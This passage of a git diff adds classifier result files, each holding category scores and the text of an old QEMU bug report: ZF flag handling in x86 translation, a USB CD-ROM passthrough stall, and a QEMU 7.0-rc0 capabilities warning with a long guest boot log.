states that ZF is unaffected. + +-- +error compiling committee.c: too many arguments to function + + + +On 12/14/2011 06:22 PM, malc wrote: +> On Wed, 14 Dec 2011, Avi Kivity wrote: +> +> > On 12/14/2011 06:08 PM, malc wrote: +> > > On Wed, 14 Dec 2011, Daniil Troshkov wrote: +> > > +> > > > Public bug reported: +> > > > +> > > > Hello! +> > > > +> > > > Bug was found in qemu.git. +> > > > See target-i386/translate.c: +> > > > +> > > +> > > [..snip..] +> > > +> > > Intel's documentation doesn't cover this, AMD's says that ZF is undefined, so, +> > > question is: why do you think QEMU is wrong here? +> > +> > The Intel documentation states that ZF is unaffected. +> > +> +> Right, i was blind, anyways, AMD disagrees. +> + +Best to be conservative here. + +-- +error compiling committee.c: too many arguments to function + + + +>Best to be conservative here. +What is it means? + +On 12/14/2011 06:33 PM, malc wrote: +> > +> > Best to be conservative here. +> > +> +> Point being, any code that relies on it being in any particular state is +> broken (potentially, on AMD chips) + +Yes of course, but not all software is written to be portable. Probably +the only thing that will break here is a vendor test suite, but even so, +if we can comply to the spec, we should. + +-- +error compiling committee.c: too many arguments to function + + + +Looking at the previous comments ... is there anything left to do here? Or can we close this bug nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/906221 b/results/classifier/108/graphic/906221 new file mode 100644 index 000000000..62ea4c411 --- /dev/null +++ b/results/classifier/108/graphic/906221 @@ -0,0 +1,66 @@ +graphic: 0.957 +performance: 0.945 +other: 0.855 +device: 0.704 +semantic: 0.686 +debug: 0.669 +PID: 0.663 +network: 0.650 +permissions: 0.640 +socket: 0.484 +files: 0.428 +boot: 0.414 +vnc: 0.368 +KVM: 0.221 + +USBDEVFS_CLEAR_HALT stall with USB-CDROM qemu-1.0 + +When connecting a USB DVD/CDROM drive to the linux host, it works fine and I can mount the inserted DVD properly and work with it. After unmounting the DVD and routing the USB drive to the linux guest (same kernel version), both host and guest become unresponsive and on the QEMU console I get the QEMU console flodded with the message: +USBDEVFS_CLEAR_HALT: Connection timed out +again and again, approx. each 10-20 seconds. + +When I unplug the device from the host, the message +USBDEVFS_CLEAR_HALT: No such device +comes up in one block at least 100 times (my scrollback history of the display is limited, so I cannot say how often it actually appreared) + +On the guest side linux, I see the following dmesg after having it routed from the host to the guest: +[ 160.292231] usb 1-2.1: new full speed USB device using uhci_hcd and address 5 +[ 160.475762] usb 1-2.1: configuration #1 chosen from 1 choice +[ 160.478553] scsi3 : SCSI emulation for USB Mass Storage devices +[ 160.479689] usb-storage: device found at 5 +[ 160.480121] usb-storage: waiting for device to settle before scanning +[ 165.494016] scsi 3:0:0:0: CD-ROM slimtype eTDU108 1 SL03 PQ: 0 ANSI: 0 + +then, the guest stalls and on the host side the USBDEVFS_CLEAR_HALT appears until I unplug the hardware from the host - pay also attention on the stalled dmesg timestamp! The "real" timegap between the last line above and the first line below is more than 20 seconds! + +[ 165.645735] usb 1-2.1: USB disconnect, address 5 +[ 165.663770] sr0: scsi3-mmc drive: 24x/24x cd/rw xa/form2 cdda pop-up +[ 165.664416] sr 3:0:0:0: Attached scsi CD-ROM sr0 +[ 165.664623] sr 3:0:0:0: Attached scsi generic sg1 type 5 +[ 165.665565] usb-storage: device scan complete + +The drive used is a self-powered LITEON External Slim DVD-ROM Drive (Model number eTDU108-02 1) +The power is not a problem, because the drive works fine on the host directly. + +Best regards, + +Erik + +Triaging old bug tickets ... Can you still reproduce this problem with the latest version of QEMU and the latest version of libusb? If so, could you please also provide the command line options that you used to start QEMU? + +Meanwhile it works. + +Thomas Huth wrote: +> Triaging old bug tickets ... Can you still reproduce this problem with +> the latest version of QEMU and the latest version of libusb? If so, +> could you please also provide the command line options that you used to +> start QEMU? +> +> ** Changed in: qemu +> Status: New => Incomplete +> + + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/921 b/results/classifier/108/graphic/921 new file mode 100644 index 000000000..aaf906bb1 --- /dev/null +++ b/results/classifier/108/graphic/921 @@ -0,0 +1,638 @@ +semantic: 0.979 +graphic: 0.968 +permissions: 0.967 +other: 0.963 +device: 0.943 +debug: 0.940 +performance: 0.935 +network: 0.926 +socket: 0.918 +PID: 0.916 +boot: 0.893 +vnc: 0.879 +KVM: 0.868 +files: 0.831 + +qemu 7.0-rc0 warning: cannot get sys attribute capabilities 0 +Description of problem: +The guest fp not working properly +Steps to reproduce: +1. Start the docker +``` +docker run -it --name qemu --rm \ + --privileged \ + --ipc=host \ + -v /dev/log:/dev/log \ + -v /dev/vhost-net:/dev/vhost-net \ + -v /sys/kernel/debug:/sys/kernel/debug \ + -v $ROOT:$ROOT \ + -p 2222:22 \ + -p 1234:1234 \ + -p 1235:1235 \ + -e ROOT=$ROOT \ + -e XDG_RUNTIME_DIR=/tmp \ + -e WAYLAND_DISPLAY=$WAYLAND_DISPLAY \ + -v $XDG_RUNTIME_DIR/$WAYLAND_DISPLAY:/tmp/$WAYLAND_DISPLAY \ + qemu +``` +2.This is in the docker +``` ++ build/docker/qemu-system-x86_64 -enable-kvm -M q35 -smp 1 -m 4G -cpu host -net nic,model=virtio -net user,hostfwd=tcp::22-:22,hostfwd=tcp::1234-:1234 -hda /data/xemu-opengl/image/ubuntu.qcow2 -initrd /data/xemu-opengl/image/rootfs.cpio.gz -kernel /data/xemu-opengl/kernel/arch/x86_64/boot/bzImage -append 'root=/dev/sda3 nokaslr' -usb -device usb-tablet -object memory-backend-memfd,id=mem1,size=4G -machine memory-backend=mem1 -device virtio-vga-gl,context_init=true,blob=true,hostmem=1G -vga none -display sdl,gl=on,show-cursor=on -d guest_errors +qemu-system-x86_64: warning: cannot get sys attribute capabilities 0 +qemu-system-x86_64: warning: cannot get sys attribute capabilities 0 +qemu-system-x86_64: warning: cannot get sys attribute capabilities 0 +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.0DH:EAX [bit 1] +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.0DH:EAX [bit 2] +qemu-system-x86_64: warning: cannot get sys attribute capabilities 0 +``` + +3. In geust +``` +dmesg +[ 0.000000] Linux version 5.16.14 (root@5bc45822eca9) (gcc (Ubuntu 11.2.0-7ubuntu2) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.37) #3 SMP PREEMPT Sun Mar 13 23:24:16 UTC 2022 +[ 0.000000] Command line: root=/dev/sda3 nokaslr +[ 0.000000] x86/fpu: FP/SSE not present amongst the CPU's xstate features: 0x1. +[ 0.000000] signal: max sigframe size: 1440 +[ 0.000000] BIOS-provided physical RAM map: +[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable +[ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000007ffddfff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007ffde000-0x000000007fffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000b0000000-0x00000000bfffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000fed1c000-0x00000000fed1ffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000feffc000-0x00000000feffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000017fffffff] usable +[ 0.000000] NX (Execute Disable) protection: active +[ 0.000000] SMBIOS 2.8 present. +[ 0.000000] DMI: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 +[ 0.000000] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved +[ 0.000000] e820: remove [mem 0x000a0000-0x000fffff] usable +[ 0.000000] last_pfn = 0x180000 max_arch_pfn = 0x400000000 +[ 0.000000] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT +[ 0.000000] last_pfn = 0x7ffde max_arch_pfn = 0x400000000 +[ 0.000000] found SMP MP-table at [mem 0x000f5b70-0x000f5b7f] +[ 0.000000] Using GB pages for direct mapping +[ 0.000000] RAMDISK: [mem 0x7ffcf000-0x7ffcffff] +[ 0.000000] ACPI: Early table checksum verification disabled +[ 0.000000] ACPI: RSDP 0x00000000000F5980 000014 (v00 BOCHS ) +[ 0.000000] ACPI: RSDT 0x000000007FFE22CB 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: FACP 0x000000007FFE20C3 0000F4 (v03 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: DSDT 0x000000007FFE0040 002083 (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: FACS 0x000000007FFE0000 000040 +[ 0.000000] ACPI: APIC 0x000000007FFE21B7 000078 (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: HPET 0x000000007FFE222F 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: MCFG 0x000000007FFE2267 00003C (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: WAET 0x000000007FFE22A3 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) +[ 0.000000] ACPI: Reserving FACP table memory at [mem 0x7ffe20c3-0x7ffe21b6] +[ 0.000000] ACPI: Reserving DSDT table memory at [mem 0x7ffe0040-0x7ffe20c2] +[ 0.000000] ACPI: Reserving FACS table memory at [mem 0x7ffe0000-0x7ffe003f] +[ 0.000000] ACPI: Reserving APIC table memory at [mem 0x7ffe21b7-0x7ffe222e] +[ 0.000000] ACPI: Reserving HPET table memory at [mem 0x7ffe222f-0x7ffe2266] +[ 0.000000] ACPI: Reserving MCFG table memory at [mem 0x7ffe2267-0x7ffe22a2] +[ 0.000000] ACPI: Reserving WAET table memory at [mem 0x7ffe22a3-0x7ffe22ca] +[ 0.000000] No NUMA configuration found +[ 0.000000] Faking a node at [mem 0x0000000000000000-0x000000017fffffff] +[ 0.000000] NODE_DATA(0) allocated [mem 0x17fffa000-0x17fffdfff] +[ 0.000000] Zone ranges: +[ 0.000000] DMA [mem 0x0000000000001000-0x0000000000ffffff] +[ 0.000000] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] +[ 0.000000] Normal [mem 0x0000000100000000-0x000000017fffffff] +[ 0.000000] Movable zone start for each node +[ 0.000000] Early memory node ranges +[ 0.000000] node 0: [mem 0x0000000000001000-0x000000000009efff] +[ 0.000000] node 0: [mem 0x0000000000100000-0x000000007ffddfff] +[ 0.000000] node 0: [mem 0x0000000100000000-0x000000017fffffff] +[ 0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x000000017fffffff] +[ 0.000000] On node 0, zone DMA: 1 pages in unavailable ranges +[ 0.000000] On node 0, zone DMA: 97 pages in unavailable ranges +[ 0.000000] On node 0, zone Normal: 34 pages in unavailable ranges +[ 0.000000] ACPI: PM-Timer IO Port: 0x608 +[ 0.000000] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) +[ 0.000000] IOAPIC[0]: apic_id 0, version 17, address 0xfec00000, GSI 0-23 +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) +[ 0.000000] ACPI: Using ACPI (MADT) for SMP configuration information +[ 0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000 +[ 0.000000] TSC deadline timer available +[ 0.000000] smpboot: Allowing 1 CPUs, 0 hotplug CPUs +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x0009ffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x000a0000-0x000effff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x000f0000-0x000fffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x7ffde000-0x7fffffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0x80000000-0xafffffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xb0000000-0xbfffffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xc0000000-0xfed1bfff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xfed1c000-0xfed1ffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xfed20000-0xfeffbfff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xfeffc000-0xfeffffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xff000000-0xfffbffff] +[ 0.000000] PM: hibernation: Registered nosave memory: [mem 0xfffc0000-0xffffffff] +[ 0.000000] [mem 0xc0000000-0xfed1bfff] available for PCI devices +[ 0.000000] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns +[ 0.000000] setup_percpu: NR_CPUS:64 nr_cpumask_bits:64 nr_cpu_ids:1 nr_node_ids:1 +[ 0.000000] percpu: Embedded 52 pages/cpu s174744 r8192 d30056 u2097152 +[ 0.000000] pcpu-alloc: s174744 r8192 d30056 u2097152 alloc=1*2097152 +[ 0.000000] pcpu-alloc: [0] 0 +[ 0.000000] Fallback order for Node 0: 0 +[ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 1031902 +[ 0.000000] Policy zone: Normal +[ 0.000000] Kernel command line: root=/dev/sda3 nokaslr +[ 0.000000] Unknown kernel command line parameters "nokaslr", will be passed to user space. +[ 0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) +[ 0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) +[ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off +[ 0.000000] Memory: 4019736K/4193776K available (16398K kernel code, 2621K rwdata, 5052K rodata, 1252K init, 1332K bss, 173784K reserved, 0K cma-reserved) +[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 +[ 0.000000] Dynamic Preempt: full +[ 0.000000] rcu: Preemptible hierarchical RCU implementation. +[ 0.000000] rcu: RCU event tracing is enabled. +[ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. +[ 0.000000] Trampoline variant of Tasks RCU enabled. +[ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. +[ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 +[ 0.000000] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 +[ 0.000000] random: get_random_bytes called from start_kernel+0x492/0x65f with crng_init=0 +[ 0.000000] Console: colour VGA+ 80x25 +[ 0.000000] printk: console [tty0] enabled +[ 0.000000] ACPI: Core revision 20210930 +[ 0.000000] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns +[ 0.001000] APIC: Switch to symmetric I/O mode setup +[ 0.002000] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 +[ 0.010000] tsc: Unable to calibrate against PIT +[ 0.011000] tsc: using HPET reference calibration +[ 0.012000] tsc: Detected 3699.687 MHz processor +[ 0.000260] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x6aa85c29371, max_idle_ns: 881590506582 ns +[ 0.001636] Calibrating delay loop (skipped), value calculated using timer frequency.. 7399.37 BogoMIPS (lpj=3699687) +[ 0.002617] pid_max: default: 32768 minimum: 301 +[ 0.003888] LSM: Security Framework initializing +[ 0.004744] SELinux: Initializing. +[ 0.006672] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) +[ 0.007869] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) +[ 0.014682] x86/cpu: User Mode Instruction Prevention (UMIP) activated +[ 0.016974] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 +[ 0.017603] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 +[ 0.018602] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization +[ 0.018623] Spectre V2 : Mitigation: Retpolines +[ 0.019603] Spectre V2 : Spectre v2 / SpectreRSB mitigation: Filling RSB on context switch +[ 0.020637] Spectre V2 : mitigation: Enabling conditional Indirect Branch Prediction Barrier +[ 0.021603] Speculative Store Bypass: Mitigation: Speculative Store Bypass disabled via prctl +[ 0.083192] Freeing SMP alternatives memory: 44K +[ 0.086287] smpboot: CPU0: AMD Ryzen Threadripper 3970X 32-Core Processor (family: 0x17, model: 0x31, stepping: 0x0) +[ 0.088185] Performance Events: Fam17h+ core perfctr, AMD PMU driver. +[ 0.088635] ... version: 0 +[ 0.089365] ... bit width: 48 +[ 0.089610] ... generic registers: 6 +[ 0.090332] ... value mask: 0000ffffffffffff +[ 0.090611] ... max period: 00007fffffffffff +[ 0.091424] ... fixed-purpose events: 0 +[ 0.091614] ... event mask: 000000000000003f +[ 0.092889] rcu: Hierarchical SRCU implementation. +[ 0.095245] smp: Bringing up secondary CPUs ... +[ 0.095612] smp: Brought up 1 node, 1 CPU +[ 0.096340] smpboot: Max logical packages: 1 +[ 0.096609] smpboot: Total of 1 processors activated (7399.37 BogoMIPS) +[ 0.169912] devtmpfs: initialized +[ 0.175284] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns +[ 0.175676] futex hash table entries: 256 (order: 2, 16384 bytes, linear) +[ 0.177611] PM: RTC time: 10:29:46, date: 2022-03-20 +[ 0.183040] NET: Registered PF_NETLINK/PF_ROUTE protocol family +[ 0.187536] audit: initializing netlink subsys (disabled) +[ 0.191857] thermal_sys: Registered thermal governor 'step_wise' +[ 0.191877] thermal_sys: Registered thermal governor 'user_space' +[ 0.192675] audit: type=2000 audit(1647772186.201:1): state=initialized audit_enabled=0 res=1 +[ 0.194185] cpuidle: using governor menu +[ 0.198008] PCI: MMCONFIG for domain 0000 [bus 00-ff] at [mem 0xb0000000-0xbfffffff] (base 0xb0000000) +[ 0.198662] PCI: MMCONFIG at [mem 0xb0000000-0xbfffffff] reserved in E820 +[ 0.200081] PCI: Using configuration type 1 for base access +[ 0.204517] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. +[ 0.205408] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages +[ 0.206698] ACPI: Added _OSI(Module Device) +[ 0.207453] ACPI: Added _OSI(Processor Device) +[ 0.207610] ACPI: Added _OSI(3.0 _SCP Extensions) +[ 0.208402] ACPI: Added _OSI(Processor Aggregator Device) +[ 0.208611] ACPI: Added _OSI(Linux-Dell-Video) +[ 0.209375] ACPI: Added _OSI(Linux-Lenovo-NV-HDMI-Audio) +[ 0.209614] ACPI: Added _OSI(Linux-HPI-Hybrid-Graphics) +[ 0.212597] ACPI: 1 ACPI AML tables successfully acquired and loaded +[ 0.215363] ACPI: Interpreter enabled +[ 0.215779] ACPI: PM: (supports S0 S3 S4 S5) +[ 0.216543] ACPI: Using IOAPIC for interrupt routing +[ 0.216649] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug +[ 0.217739] ACPI: Enabled 2 GPEs in block 00 to 3F +[ 0.221429] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) +[ 0.221679] acpi PNP0A08:00: _OSC: OS supports [ExtendedConfig ASPM ClockPM Segments MSI HPX-Type3] +[ 0.222638] acpi PNP0A08:00: _OSC: platform does not support [LTR] +[ 0.223563] acpi PNP0A08:00: _OSC: OS now controls [PME PCIeCapability] +[ 0.223907] PCI host bridge to bus 0000:00 +[ 0.224612] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] +[ 0.225562] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] +[ 0.225610] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] +[ 0.226616] pci_bus 0000:00: root bus resource [mem 0x80000000-0xafffffff window] +[ 0.227610] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] +[ 0.228611] pci_bus 0000:00: root bus resource [mem 0x180000000-0x97fffffff window] +[ 0.229611] pci_bus 0000:00: root bus resource [bus 00-ff] +[ 0.230749] pci 0000:00:00.0: [8086:29c0] type 00 class 0x060000 +[ 0.233477] pci 0000:00:01.0: [1af4:1000] type 00 class 0x020000 +[ 0.234636] pci 0000:00:01.0: reg 0x10: [io 0xc040-0xc05f] +[ 0.236087] pci 0000:00:01.0: reg 0x14: [mem 0xfebd0000-0xfebd0fff] +[ 0.239084] pci 0000:00:01.0: reg 0x20: [mem 0x1c0000000-0x1c0003fff 64bit pref] +[ 0.240327] pci 0000:00:01.0: reg 0x30: [mem 0xfeb80000-0xfebbffff pref] +[ 0.242540] pci 0000:00:02.0: [1af4:1050] type 00 class 0x030000 +[ 0.245344] pci 0000:00:02.0: reg 0x10: [mem 0xfe000000-0xfe7fffff pref] +[ 0.247587] pci 0000:00:02.0: reg 0x14: [mem 0xfebd1000-0xfebd1fff] +[ 0.250649] pci 0000:00:02.0: reg 0x18: [mem 0x1c0004000-0x1c0007fff 64bit pref] +[ 0.253628] pci 0000:00:02.0: reg 0x20: [mem 0x180000000-0x1bfffffff 64bit pref] +[ 0.256753] pci 0000:00:02.0: reg 0x30: [mem 0xfebc0000-0xfebcffff pref] +[ 0.258570] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] +[ 0.263325] pci 0000:00:1d.0: [8086:2934] type 00 class 0x0c0300 +[ 0.265363] pci 0000:00:1d.0: reg 0x20: [io 0xc060-0xc07f] +[ 0.266765] pci 0000:00:1d.1: [8086:2935] type 00 class 0x0c0300 +[ 0.269437] pci 0000:00:1d.1: reg 0x20: [io 0xc080-0xc09f] +[ 0.270732] pci 0000:00:1d.2: [8086:2936] type 00 class 0x0c0300 +[ 0.273371] pci 0000:00:1d.2: reg 0x20: [io 0xc0a0-0xc0bf] +[ 0.274696] pci 0000:00:1d.7: [8086:293a] type 00 class 0x0c0320 +[ 0.276035] pci 0000:00:1d.7: reg 0x10: [mem 0xfebd2000-0xfebd2fff] +[ 0.279317] pci 0000:00:1f.0: [8086:2918] type 00 class 0x060100 +[ 0.280866] pci 0000:00:1f.0: quirk: [io 0x0600-0x067f] claimed by ICH6 ACPI/GPIO/TCO +[ 0.282331] pci 0000:00:1f.2: [8086:2922] type 00 class 0x010601 +[ 0.284903] pci 0000:00:1f.2: reg 0x20: [io 0xc0c0-0xc0df] +[ 0.286143] pci 0000:00:1f.2: reg 0x24: [mem 0xfebd3000-0xfebd3fff] +[ 0.287991] pci 0000:00:1f.3: [8086:2930] type 00 class 0x0c0500 +[ 0.290370] pci 0000:00:1f.3: reg 0x20: [io 0x0700-0x073f] +[ 0.293435] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 +[ 0.293726] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 +[ 0.294744] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 +[ 0.295723] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 +[ 0.296740] ACPI: PCI: Interrupt link LNKE configured for IRQ 10 +[ 0.297763] ACPI: PCI: Interrupt link LNKF configured for IRQ 10 +[ 0.298722] ACPI: PCI: Interrupt link LNKG configured for IRQ 11 +[ 0.299743] ACPI: PCI: Interrupt link LNKH configured for IRQ 11 +[ 0.300662] ACPI: PCI: Interrupt link GSIA configured for IRQ 16 +[ 0.301579] ACPI: PCI: Interrupt link GSIB configured for IRQ 17 +[ 0.301618] ACPI: PCI: Interrupt link GSIC configured for IRQ 18 +[ 0.302625] ACPI: PCI: Interrupt link GSID configured for IRQ 19 +[ 0.303570] ACPI: PCI: Interrupt link GSIE configured for IRQ 20 +[ 0.303617] ACPI: PCI: Interrupt link GSIF configured for IRQ 21 +[ 0.304524] ACPI: PCI: Interrupt link GSIG configured for IRQ 22 +[ 0.304617] ACPI: PCI: Interrupt link GSIH configured for IRQ 23 +[ 0.307401] iommu: Default domain type: Translated +[ 0.307611] iommu: DMA domain TLB invalidation policy: lazy mode +[ 0.309801] pci 0000:00:02.0: vgaarb: setting as boot VGA device +[ 0.310602] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none +[ 0.310612] pci 0000:00:02.0: vgaarb: bridge control possible +[ 0.311469] vgaarb: loaded +[ 0.312823] SCSI subsystem initialized +[ 0.314995] libata version 3.00 loaded. +[ 0.315348] ACPI: bus type USB registered +[ 0.315984] usbcore: registered new interface driver usbfs +[ 0.316671] usbcore: registered new interface driver hub +[ 0.317497] usbcore: registered new device driver usb +[ 0.317760] pps_core: LinuxPPS API ver. 1 registered +[ 0.318568] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it> +[ 0.318672] PTP clock support registered +[ 0.320169] Advanced Linux Sound Architecture Driver Initialized. +[ 0.322001] NetLabel: Initializing +[ 0.322614] NetLabel: domain hash size = 128 +[ 0.323353] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO +[ 0.323799] NetLabel: unlabeled traffic allowed by default +[ 0.324864] PCI: Using ACPI for IRQ routing +[ 0.486511] PCI: pci_cache_line_size set to 64 bytes +[ 0.487017] e820: reserve RAM buffer [mem 0x0009fc00-0x0009ffff] +[ 0.487056] e820: reserve RAM buffer [mem 0x7ffde000-0x7fffffff] +[ 0.488868] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 +[ 0.489610] hpet0: 3 comparators, 64-bit 100.000000 MHz counter +[ 0.493993] clocksource: Switched to clocksource tsc-early +[ 0.595279] VFS: Disk quotas dquot_6.6.0 +[ 0.604747] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) +[ 0.606192] pnp: PnP ACPI init +[ 0.607564] system 00:05: [mem 0xb0000000-0xbfffffff window] has been reserved +[ 0.612917] pnp: PnP ACPI: found 6 devices +[ 0.630876] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns +[ 0.635819] NET: Registered PF_INET protocol family +[ 0.639137] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) +[ 0.648315] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) +[ 0.649938] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) +[ 0.656731] TCP bind hash table entries: 32768 (order: 7, 524288 bytes, linear) +[ 0.668799] TCP: Hash tables configured (established 32768 bind 32768) +[ 0.670725] UDP hash table entries: 2048 (order: 4, 65536 bytes, linear) +[ 0.675922] UDP-Lite hash table entries: 2048 (order: 4, 65536 bytes, linear) +[ 0.677641] NET: Registered PF_UNIX/PF_LOCAL protocol family +[ 0.683489] RPC: Registered named UNIX socket transport module. +[ 0.684419] RPC: Registered udp transport module. +[ 0.685233] RPC: Registered tcp transport module. +[ 0.686051] RPC: Registered tcp NFSv4.1 backchannel transport module. +[ 0.690218] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] +[ 0.691147] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] +[ 0.692046] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] +[ 0.695623] pci_bus 0000:00: resource 7 [mem 0x80000000-0xafffffff window] +[ 0.702621] pci_bus 0000:00: resource 8 [mem 0xc0000000-0xfebfffff window] +[ 0.703550] pci_bus 0000:00: resource 9 [mem 0x180000000-0x97fffffff window] +[ 0.709679] ACPI: \_SB_.GSIA: Enabled at IRQ 16 +[ 0.711527] ACPI: \_SB_.GSIB: Enabled at IRQ 17 +[ 0.717245] ACPI: \_SB_.GSIC: Enabled at IRQ 18 +[ 0.718745] ACPI: \_SB_.GSID: Enabled at IRQ 19 +[ 0.720153] PCI: CLS 0 bytes, default 64 +[ 0.725883] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) +[ 0.726841] software IO TLB: mapped [mem 0x000000007bfcf000-0x000000007ffcf000] (64MB) +[ 0.728264] Unpacking initramfs... +[ 0.744075] Freeing initrd memory: 4K +[ 0.756363] Initialise system trusted keyrings +[ 0.758663] workingset: timestamp_bits=56 max_order=20 bucket_order=0 +[ 0.764972] NFS: Registering the id_resolver key type +[ 0.767942] Key type id_resolver registered +[ 0.768863] Key type id_legacy registered +[ 0.770030] 9p: Installing v9fs 9p2000 file system support +[ 0.775964] Key type asymmetric registered +[ 0.776761] Asymmetric key parser 'x509' registered +[ 0.777862] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) +[ 0.779862] io scheduler mq-deadline registered +[ 0.780675] io scheduler kyber registered +[ 0.782859] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 +[ 0.787721] ACPI: button: Power Button [PWRF] +[ 0.791799] ACPI: \_SB_.GSIF: Enabled at IRQ 21 +[ 0.795895] ACPI: \_SB_.GSIG: Enabled at IRQ 22 +[ 0.802029] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled +[ 0.803727] 00:03: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A +[ 0.806289] Non-volatile memory driver v1.3 +[ 0.807110] Linux agpgart interface v0.103 +[ 0.808280] ACPI: bus type drm_connector registered +[ 0.810106] [drm] pci: virtio-vga detected at 0000:00:02.0 +[ 0.811033] virtio-pci 0000:00:02.0: vgaarb: deactivate vga console +[ 0.812950] 